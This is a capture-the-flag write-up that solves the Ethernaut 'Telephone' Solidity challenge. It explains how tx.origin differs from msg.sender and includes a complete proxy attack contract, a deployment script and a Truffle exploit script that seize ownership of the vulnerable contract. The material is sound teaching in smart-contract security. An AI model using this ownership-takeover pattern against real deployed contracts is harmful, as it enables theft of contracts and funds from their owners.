Logo notonlyowner

Solving the Ethernaut CTF - Telephone


Introduction

The Telephone contract challenge is far from being the hardest or most complex of all, but through solving it we will dig a bit deeper in how Ethereum works internally. Not so much to say here, so just go and read the challenge.

The Telephone Contract

Our objective is to claim ownership of the contract. According the the constructor's code, the deployer is the first owner.

function Telephone() public {
    owner = msg.sender;
}

Anybody with intentions to become the new owner must call the public changeOwner function passing the address as an argument:

function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
}

Doesn't seem so difficult, except for that if clause. Let's see what it means.

Among the available global variables in Solidity, there're two which can be a bit confusing at first: msg.sender and tx.origin. Up until now, we've only seen and used msg.sender to reference the caller's address. However, while solving the Coinflip challenge, we learned that public functions can be called both from 'outside' the blockchain (i.e. from an externally owned account) or 'inside' the blockchain (from another contract's code). Moreover, we stated that while all transactions are originated by an EOA, contracts can send messages to each other, those messages being all included in the same transaction which triggered the whole call chain.

As a result, in Solidity there are two different global variables to reference each of those cases. On the one hand, msg.sender references the actual caller (the last caller in the call chain) of the function. It could be an EOA or a contract address.

On the other hand, tx.origin indicates the address of the EOA that gave origin to the whole transaction.

For instance, imagine that the externally owned account 'A' calls a function in contract 'B' which calls a function in contract 'C'. This super complex call chain results in: A -> B -> C. In B's code, tx.origin and msg.sender would be the same: the address of A. Conversely, in C's code, tx.origin and msg.sender would be different: while msg.sender would be B's address, tx.origin would equal A's address.

All of this means that, to become the owner of Telephone, an attacker cannot simply call the changeOwner public function from his/her EOA. Were he/she to do that, tx.origin would always equal msg.sender (your address), thus the if clause would never be true.

Instead, the solution relies on deploying a new 'proxy' contract (just like we did in the Coinflip challenge) controlled by the attacker (us), which will be in charge of calling the changeOwner function of Telephone contract and become its owner on the attacker's behalf.

The exploit

Let's first write the TelephoneAttack contract code. Note its similarities with the CoinflipAttack contract we saw in the previous post. The same observations we highlighted in that one apply here as well.

pragma solidity ^0.4.18;

import "./Telephone.sol";

contract TelephoneAttack {
    Telephone public victimContract;

    function setVictim(address _addr) public {
        victimContract = Telephone(_addr);
    }

    function changeOwner(address _owner) public {
        victimContract.changeOwner(_owner);
    }
}

Once you added Telephone.sol and TelephoneAttack.sol to the contracts folder of your project, write the necessary code (see below) to deploy both of them to the blockchain in migrations/2_deploy_contracts.js. Then run npx truffle migrate.

let Telephone = artifacts.require('./Telephone.sol')
let TelephoneAttack = artifacts.require('./TelephoneAttack.sol')
module.exports = deployer => {
    deployer.deploy(Telephone)
    deployer.deploy(TelephoneAttack)
}

Inside your exploits folder, create a file called telephone.exploit.js. As always, follow the same code structure used for the previous exploits:

const TelephoneContract = artifacts.require('Telephone')
const TelephoneAttackContract = artifacts.require('TelephoneAttack')
const assert = require('assert')

async function execute(callback) {
    let victimContract = await TelephoneContract.deployed()
    let proxyContract = await TelephoneAttackContract.deployed()

    // Set the victim's address
    proxyContract.setVictim(victimContract.address)

    // Get the attacker account
    let attackerAccount = web3.eth.accounts[1]
    console.log(`Attacker account is ${attackerAccount}`)

    // Check original owner
    let contractOwner = await victimContract.owner.call()
    console.log(`Original owner ${contractOwner}`)

    callback()
}
module.exports = execute

Changing the owner is just a matter of calling our malicious contract's changeOwner function from our attacker account. Then verify that the ownership was succesfuly changed:

// Change owner
await proxyContract.changeOwner(attackerAccount, {
    from: attackerAccount
})

// Check final owner
contractOwner = await victimContract.owner.call()
assert.equal(contractOwner, attackerAccount)
console.log(`New owner ${contractOwner}`)

Now run npx truffle exec exploits/telephone.exploit.js and that's it! Challenge passed.

See the full code of the exploit and the attacker contract code.

For the next post, be ready to steal some ethers from a basic token contract and pass the Token challenge.